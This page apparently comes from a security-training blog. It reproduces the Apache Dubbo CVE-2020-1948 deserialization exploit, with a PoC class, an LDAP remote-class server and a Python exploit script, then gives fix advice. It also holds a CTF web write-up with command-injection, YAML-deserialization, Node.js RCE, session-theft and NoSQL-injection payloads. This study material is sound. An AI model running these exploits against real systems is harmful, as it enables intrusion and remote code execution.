本文涉及知识点实操练习--https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID39ef-c0db-4835-b19f-62f9d8d70d55&pk_campaign=heetian-wemedia(通过该实验了解漏洞产生的原因,掌握基本的漏洞利用及使用方法,并能给出加固方案。)
简介
Dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的RPC实现服务的输出和输入功能,可以和Spring框架无缝集成。它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
概述
2020年06月23日, Apache Dubbo 官方发布了Apache Dubbo 远程代码执行的风险通告,该漏洞编号为CVE-2020-1948,漏洞等级:高危。
Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
Apache Dubbo Provider存在反序列化漏洞,攻击者可以通过RPC请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。
影响版本
Dubbo 2.7.0 - 2.7.6
Dubbo 2.6.0 - 2.6.7
Dubbo 2.5.x (官方不再维护)
环境搭建
运行环境与编译exp环境jdk版本均为8u121,启动测试环境
java -jar dubbo.jar
启动后会监听12345端口
漏洞复现
服务指纹:
PORT STATE SERVICE VERSION
12345/tcp open textui Alibaba Dubbo remoting telnetd
构造poc,我们这里执行一个ping命令来验证是否可以执行命令,新建calc.java,
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class calc implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
return null;
}
}
编译poc
javac calc.java
将编译好的poc(calc.class)放到web网站目录里,确保漏洞主机可以访问到
使用marshalsec项目启动一个ldap代理服务,marshalsec下载:
https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
启动LDAP代理服务,执行该命令ldap服务会监听8086端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://139.9.198.30/#calc 8086
执行测试脚本,此处测试使用python环境为3.8.0,先安装依赖包
python3 -m pip install dubbo-py
脚本内容(Dubbo.py):
# -*- coding: utf-8 -*-
import sys
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
if len(sys.argv) < 4:
print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
sys.exit()
client = DubboClient(sys.argv[1], int(sys.argv[2]))
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource=sys.argv[3],
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
method_name='$invoke',
args=[toStringBean])
output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
print('[+] Succeed.')
else:
print('[!] Output:')
print(output)
print('[!] Target maybe not use dubbo-remoting library.')
执行脚本
python3 Dubbo.py 192.168.137.173 12345 ldap://139.9.198.30:8086/calc
dnslog查看,成功接收到请求
ldap服务也可以看到请求转发
弹计算器
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class calc implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("calc");
return null;
}
}
漏洞修复
升级 2.7.7 版本,并根据以下链接的方法进行参数校验
https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de
更换协议以及反序列化方式。具体更换方法可参考:
http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html
参考
https://github.com/DSO-Lab/defvul/wiki/Apache-Dubbo-CVE_2020_1948-Deserialization-Vulnerability
2020-CSR-CTF-Web-复盘以及分析
本文涉及知识点实操练习--https://www.yijinglab.com/pages/CTFLaboratory.jsp?pk_campaign=heetian-wemedia
0x01 前言
2020 年 10 月 31 日万圣节举办的德国比赛,界面很有特色,web 题目质量很高,队伍只出了三道,结束后通通复盘了一遍深入理解。题目从易到难一共有十道,其中九道有出,本篇只详细分析解数多的五道,其余四道比赛时只有个位数 solve ,打算后续专门写四篇结合相应漏洞讲述。
本篇相关亮点:
● Python yaml 反序列化
● Node.JS RCE
● NoSQL 盲注
0x02 题解
Cyberwall
开胃小菜。
网页源码有密码可登入。
路由 debug 命令注入。
127.0.0.1|ls
127.0.0.1|cat super_secret_data.txt
Wheels n Whales
给了源码
web.py
import yaml
from flask import redirect, Flask, render_template, request, abort
from flask import url_for, send_from_directory, make_response, Response
import flag
app = Flask(__name__)
EASTER_WHALE = {"name": "TheBestWhaleIsAWhaleEveryOneLikes", "image_num": 2, "weight": 34}
@app.route("/")
def index():
return render_template("index.html.jinja", active="home")
class Whale:
def __init__(self, name, image_num, weight):
self.name = name
self.image_num = image_num
self.weight = weight
def dump(self):
return yaml.dump(self.__dict__)
@app.route("/whale", methods=["GET", "POST"])
def whale():
if request.method == "POST":
name = request.form["name"]
# 长度限制 10
if len(name) > 10:
return make_response("Name to long. Whales can only understand names up to 10 chars", 400)
image_num = request.form["image_num"]
weight = request.form["weight"]
whale = Whale(name, image_num, weight)
# getflag 注意这里
if whale.__dict__ == EASTER_WHALE:
return make_response(flag.get_flag(), 200)
return make_response(render_template("whale.html.jinja", w=whale, active="whale"), 200)
return make_response(render_template("whale_builder.html.jinja", active="whale"), 200)
class Wheel:
def __init__(self, name, image_num, diameter):
self.name = name
self.image_num = image_num
self.diameter = diameter
@staticmethod
def from_configuration(config):
return Wheel(**yaml.load(config, Loader=yaml.Loader))
def dump(self):
return yaml.dump(self.__dict__)
@app.route("/wheel", methods=["GET", "POST"])
def wheel():
if request.method == "POST":
if "config" in request.form:
wheel = Wheel.from_configuration(request.form["config"])
return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)
name = request.form["name"]
image_num = request.form["image_num"]
diameter = request.form["diameter"]
wheel = Wheel(name, image_num, diameter)
print(wheel.dump())
return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)
return make_response(render_template("wheel_builder.html.jinja", active="wheel"), 200)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
flask 框架,yaml 序列化。
整体逻辑很简单,wheel 和 whale 两个类,whale 需要我们创建属性值与 EASTER_WHALE 相同的类对象,但 name 属性明显过不了 if ,长度限制 10 。
wheel 就没有这么多限制,而且我们注意到,除了用构造函数创建 wheel 实例外,还有这段:
class Wheel:
...
@staticmethod
def from_configuration(config):
return Wheel(**yaml.load(config, Loader=yaml.Loader))
def dump(self):
return yaml.dump(self.__dict__)
@app.route("/wheel", methods=["GET", "POST"])
def wheel():
if request.method == "POST":
if "config" in request.form:
wheel = Wheel.from_configuration(request.form["config"])
return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)
我们结合 Pyyaml 官方文档 来理解一下上述代码做了什么,有何利用点:
yaml.dump(data, Dumper=Dumper)
yaml.dump 函数接受一个 Python 对象并生成一个 YAML 文档。
yaml.load(stream, Loader=Loader)
yaml.load 函数将 YAML 文档转换为 Python 对象,返回一个 Python 对象。
yaml.load 接受一个字节字符串、一个 Unicode 字符串、一个打开的二进制文件对象或一个打开的文本文件对象。字节字符串或文件必须使用 utf-8、 utf-16-be 或 utf-16-le 编码进行编码。yaml.load 通过检查字符串/文件开头的 BOM (字节顺序标记) 序列来检测编码。如果没有提供 BOM,则假定采用 utf-8编码。
>>> yaml.load(u"""
... hello: Привет!
... """) # In Python 3, do not use the 'u' prefix
{'hello': u'\u041f\u0440\u0438\u0432\u0435\u0442!'}
>>> stream = file('document.yaml', 'r') # 'document.yaml' contains a single YAML document.
>>> yaml.load(stream)
[...] # A Python object corresponding to the document.
对于这个函数,官方也有警告:
用从不可信来源接收的任何数据调用 yaml.load 是不安全的!yaml.load 和 pickle.load 一样强大,因此可以调用任何 Python 函数。
既然 yaml.load 可以调用任何 Python 函数,那我们可以不用想办法创建 whale 去使之与 EASTER_WHALE 相等,直接 flag.get_flag() 即可。
结合题目代码:
@staticmethod
def from_configuration(config):
return Wheel(**yaml.load(config, Loader=yaml.Loader))
这里的 yaml.load 从 config 中读取 yaml 文件创建 wheel 对象,加上 Loader=yaml.Loader 只是为了避免警告。
而 config 则是来自我们 post 的表单数据:
if request.method == "POST":
if "config" in request.form:
wheel = Wheel.from_configuration(request.form["config"])
到这里思路就很明晰了,我们从路由 wheel post config 对象,config 的 name 用我们精心构造的可以 flag.get_flag() 的语句,其他参数因为是数字类型所以随便写即可。
我们先要想办法序列化一个对象传入 yaml.load ,而对应官方文档有:
!!python/object:module.Class { attribute: value, ... }
任何可选对象都可以使用 !!python/object 进行序列化。
为了支持 pickle 协议,还提供了两种额外形式。
!!python/object/new:module.Class [argument, ...]
!!python/object/apply:module.function [argument, ...]
>>> class Hero:
... def __init__(self, name, hp, sp):
... self.name = name
... self.hp = hp
... self.sp = sp
... def __repr__(self):
... return "%s(name=%r, hp=%r, sp=%r)" % (
... self.__class__.__name__, self.name, self.hp, self.sp)
>>> yaml.load("""
... !!python/object:__main__.Hero
... name: Welthyr Syxgon
... hp: 1200
... sp: 0
... """)
Hero(name='Welthyr Syxgon', hp=1200, sp=0)
如上例,Hero 类有三个属性 name、hp、sp ,我们可以通过 !!python/object 利用 yaml.load 成功序列化出来。
所以我们可以构造 payload 如下:
config={name: !!python/object/apply:flag.get_flag [], image_num: 3, diameter: 3}
CSRegex
页面是正则表达式测试工具。
nodejs 笔者没有相关开发经验,写的可能有所欠缺,所以下文仅作为参考。
我们应首先判断这个网站是用什么写的,当然 ctf 首先想到的是 node ,这种类似的题在 picoCTF见过,这里摆出来只是为了介绍一下,判断 node 简便的方法有两种:
■ 当访问一个不存在的路径时,会得到 node 错误 “ Can not GET/whatever” ,响应头部有 X-Powered-By: Express ( Express 框架开发)
■ 利用 Wappalyzer 之类的插件了解网站所用技术
但明显不能用到这里:
作为第二种方式的代替,我比赛时找到了 https://builtwith.com/
发现了 underscore.js ,nodejs 库。
同时 国外师傅 是利用 fetch 是否定义来判断该网站是运行在 node 上还是浏览器上的:
"fetch is not defined" -- we are running on node and not a web browser
通过观察 JavaScript Code ,我们可以先闭合掉前面的正则表达式,试着拼接一些命令来获取更多信息,最后再注释掉:
// test
\w/gi);let a=10;return a;/
------
'123'.match(/\w/gi);let a=10;return a;//gi)
------
{ "result": 10 }
既然有了 RCE ,我们先来考虑读系统文件该怎么构造 payload ,node 有 fs 模块用于对系统文件及目录进行读写操作,需要用 require('fs') 来载入,但上下文里不一定有 require ,require 并不是可以全局访问的。
见 官方文档 和 示例 :
require()
This variable may appear to be global but is not. See require().
(function(){Function('console.log(require("fs").readFileSync("/etc/passwd"))')()})()
//ReferenceError: require is not defined
这题就没有,而 process.mainModule 属性提供了一种获取 require.main 的替代方式,换言之,我们可以通过 process.mainModule.require('fs') 来载入,然后通过 fs.readdirSync(path[, options]) 同步返回一个包含“指定目录下所有文件名称”的数组对象。
// test
\w/gi);
let files = [];
const fs = process.mainModule.require('fs');
fs.readdirSync(".").forEach(file => files.push(file) );
return files;/
------
'123'.match(/\w/gi);let files = []; const fs = process.mainModule.require('fs');fs.readdirSync(".").forEach(file => files.push(file) );return files;//gi)
------
{ "result": [ ".dockerignore", "api.js", "csregex", "dist", "dockerfile", "index.js", "leftover.js", "node_modules", "package-lock.json", "package.json", "regexer.js", "requests.log", "simple-fs.js" ] }
成功,那么接下来只要读取这些文件,结果在 dockerfile 中:
// test
\w/gi);
const fs = process.mainModule.require('fs');
const data = fs.readFileSync('dockerfile', 'utf8');
return data;/
------
'123'.match(/\w/gi); const fs = process.mainModule.require('fs'); const data = fs.readFileSync('dockerfile', 'utf8'); return data;//gi)
当然也可以直接 cat 读取文件:
先给出拼接后的 JavaScript Code :
''+constructor.constructor("return process")().mainModule.require("child_process").execSync('cat * | grep CSR')+' \n'.match(/\w/gi)
同上,只不过是选择先闭合了要匹配的字符串,获得全局上下文后直接导入 child_process 来执行系统命令。
payload( exp 学习自 CVE-2019-10758 PoC):
'+this.constructor.constructor("return process")().mainModule.require("child_process").execSync('cat * | grep CSR')+'
imghost
文件上传。
PHP,dirsearch 扫目录有:
得到 file.php 源码:
<?php
session_start();
$filename = substr($_SERVER["DOCUMENT_URI"], 3);
if(!file_exists("/dev/shm/uploads/" . $filename) || strlen($filename) > 24) die("<h1>404 File not found</h1>");
if($_GET["report"] == "1") {
if(!file_exists("/dev/shm/reports")) mkdir("/dev/shm/reports");
if(!file_exists("/dev/shm/reports/" . $filename)) {
file_put_contents("/dev/shm/reports/" . $filename, "");
}
die("File has been reported, thanks for your help!");
}
header("Content-Security-Policy: script-src 'none';");
echo '<object border="2px" data="/uploads/' . $filename . '?lang=en&ref=website&pd=' . md5(session_id()) . '&u=' . uniqid() . '&client=' . session_id() . '&method=direct&t=' . time() . '"></object>';
echo '<br/><a href="?report=1">Report abuse</a>';
?>
这里需要注意的是 HTTP 头信息的 Content-Security-Policy ,简称 CSP ,通常是用来防 XSS 的,提供了很多限制选项,这里的 script-src 限制外部脚本的加载,选项值是 'none' 禁止加载任何外部资源,所以基本不可能 RCE 。
结合题名,我们可以尝试去获取管理员的 session id 。
当我们上传一个图片后,点击,~/i/encrypted_filename.png 会去请求:
~/uploads/FHYVFZAsWZukicREmqTS.png?lang=en&ref=website&pd=387a36e941f19635f8f898f8e2af0dd2&u=5fa8e6669c74b&client=hluad03qhmob6onl376hlnad5h&method=direct&t=1604904550
用以校验身份,而访问图片成功后,有 Report abuse ,点击 referer 同样是来自 ~/i/encrypted_filename.png ,结合源码,File Report 后,会在 /dev/shm/reports/ 目录下生成一个对应的文件,可以合理猜测,管理员进行访问时也会有来自 ~/i/encrypted_filename.png 的请求用来校验身份。
综上,我们可以利用上传的图片重定向到我们的服务器用来获取 session id 。
<img src="https://server.com/exp.php">
exp.php
<?php
$d = json_encode($_SERVER);
$filename = __DIR__ . "/data.txt";
file_put_contents($filename, $d);
?>
然后我们可以从本地 data.txt 得到 session id ,替换后再次访问可以从 flag.txt 得到 flag 。
本地测试了下,data.txt 读取到 $_SERVER 的内容:
Secure Secret Sharing
源码
var express = require('express');
var path = require('path');
var bodyParser = require('body-parser')
var fs = require('fs');
const {SHA256} = require("sha2");
var app = express();
app.use(bodyParser.urlencoded({extended: false}));
var MongoClient = require('mongodb').MongoClient;
const mongo_url = 'mongodb://localmongo';
const db_name = 'secrets';
const db_client = new MongoClient(mongo_url);
db_client.connect(function(err) {
db = db_client.db(db_name);
collection = db.collection("secrets")
app.listen(8080);
});
app.get('/', function(request, response) {
response.sendFile(path.join(__dirname + '/html/index.html'));
});
// 插入数据
app.post('/secret_share', function(request, response) {
let sec = request.body.sec;
//sha256 散列,十六进制输出
let secid = SHA256(sec).toString("hex");
//无 csr 的情况插入
if (sec.toLowerCase().includes("csr")) {
response.redirect('/');
} else {
collection.insertOne({id: secid, secret: sec});
response.redirect('/secret_share?secid=' + secid);
}
});
//通过 secid 进行检索
app.get('/secret_share', function(request, response) {
var secid = request.query.secid;
var sec = collection.findOne({id: secid});
sec.then(sec => {
fs.readFile(__dirname +'/html/secret.html', {encoding: 'utf-8'}, (err, data) => {
try {
response.send(data.replace("$secret", sec["secret"]));
response.end();
} catch(e){
console.log("Error: " + e);
response.status(404);
response.send("id does not exist.");
response.end();
}
});
}, error => {
console.log(error);
});
});
app.get('/source', function(request, response) {
fs.readFile(__filename, {encoding: 'utf-8'}, (err, data) => {
response.type("text/plain");
response.send(data);
response.end();
});
});
ExpressJS MongoDB
因为国内文章关于 MongoDB 注入的比较少且发布时间早,所以我近期写了一篇文章在博客进行介绍,不了解的朋友可以先去看看:mongodb 注入初识
var sec = collection.findOne({id: secid});
由上,注入点可以确定为 secid 。
用 $ne 进行测试一下:
//test
?secid[$ne]=0
MySuperSecurePW123
因为这里是 findOne() 只能返回第一条文档记录,而且最重要的一点,secid 是 sha256 加密过的,哈希值之间的差异非常大,我们不能凭 flag 的格式获取到前几位,所以我们改用 $regex 进行类似盲注的测试:
//test
?secid[$regex]=^0
princess
//princess -> 04e77bf8f95cb3e1a36a59d1e93857c411930db646b46c218a0352e432023cf2
这样是可行的,我们可以利用 $regex 位位遍历 0~f ,总能找到一个内容含 CSR 的 secret ,所以我手工测试了下,发现最好的情况是前四位就可以区分不同的哈希(开始有了 id does not exist. 的回显)。
这里“盲注”不像 SQL 里面可以用二分法,要位位遍历,所以效率非常低。
用四循环遍历当然太慢了,而且出现连续三位相同的概率几乎为 0 ,我们调换一下顺序,并且用 . 代替一位,这里因为只返回第一条文档,所以我们可以挨个试位置,所幸替换第一位就出了结果:
import requests
import re
class Outloop(Exception):
pass
try:
for i in "0123456789abcdef":
for j in "123456789abcdef0":
for k in "23456789abcdef01":
url = "http://chal.cybersecurityrumble.de:37585/secret_share?secid[$regex]=^.{}{}{}%22.format(i, j, k)
print("[i] Still looking for: "+i+j+k)
response = requests.request("GET", url)
if "CSR" in response.text:
print("[+] Flag: CSR"+re.search(r"CSR(.*)}",response.text)[1]+"}")
raise Outloop()
except Outloop:
pass
发 200+ 次请求得到了 flag 。
国外师傅有给出优化版本的,是把哈希值视为了树结构,从根节点开始(设置 0~f 中的任意值),先判断其是否有子节点,如果有,是否有多个,优化规则如下:
如果一个节点只有一个子节点,我们假设它只会产生一个散列,因此我们不会遍历子节点的路径。
也就是假设 payload 为 ?secid[$regex]=^73 没有子节点,那么当然我们遍历第三层时,就不会再去遍历 730,731,...,73f 等;而如果 78c 有一个子节点 78c1 ,也认为其只会产生一个散列 78c1 ,如图(图源自国外师傅 wp):
可以想到,我们上面写的脚本其实是所有节点不管有没有子节点都去遍历了一遍,所以非常耗时间。
#!/usr/bin/env
import requests as req
import time
import re
import queue
import hashlib
URL = "http://chal.cybersecurityrumble.de:37585/secret_share?secid[$regex]=^"
# 查找 flag 的正则表达式
regex = r"-->(.*)<!--"
deadStarts = []
chars = "0123456789abcdef"
# 如果父节点有多个子节点
def parentHasMoreThanOneChildren(hash):
l = len(hash) - 1
if l < 0:
return True
url = URL + hash[:l] + '[^' + hash[l] + ']'
r = req.get( url )
if r.status_code == 404:
return False
return True
# 是否有子节点
def hasChild(hash):
url = URL + hash
r = req.get( url )
if r.status_code == 404:
return False
return True
# 获取 secret
def getSecret(hash):
url = URL + hash
r = req.get( url )
return re.search(regex, r.text)[1]
# 访问子节点判断是否有 flag
def visitChild(hash):
print(hash, end=' ')
if not parentHasMoreThanOneChildren(hash):
secret = getSecret(hash)
print( secret )
if "csr" in secret.lower():
exit()
return
print('')
for c in chars:
if hasChild( hash + c ):
visitChild( hash +c )
# 这里设置的根节点为 6
visitChild( '6' )
实际上确实是很快。
0x03 后记
这次比赛打完复盘收获不少,相比于一些比赛总是模改题还是非常不错的,也感觉到自己开发经验欠缺,比如 node 只在原型链污染有接触过一点点,但却没有深入,还是要继续努力。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

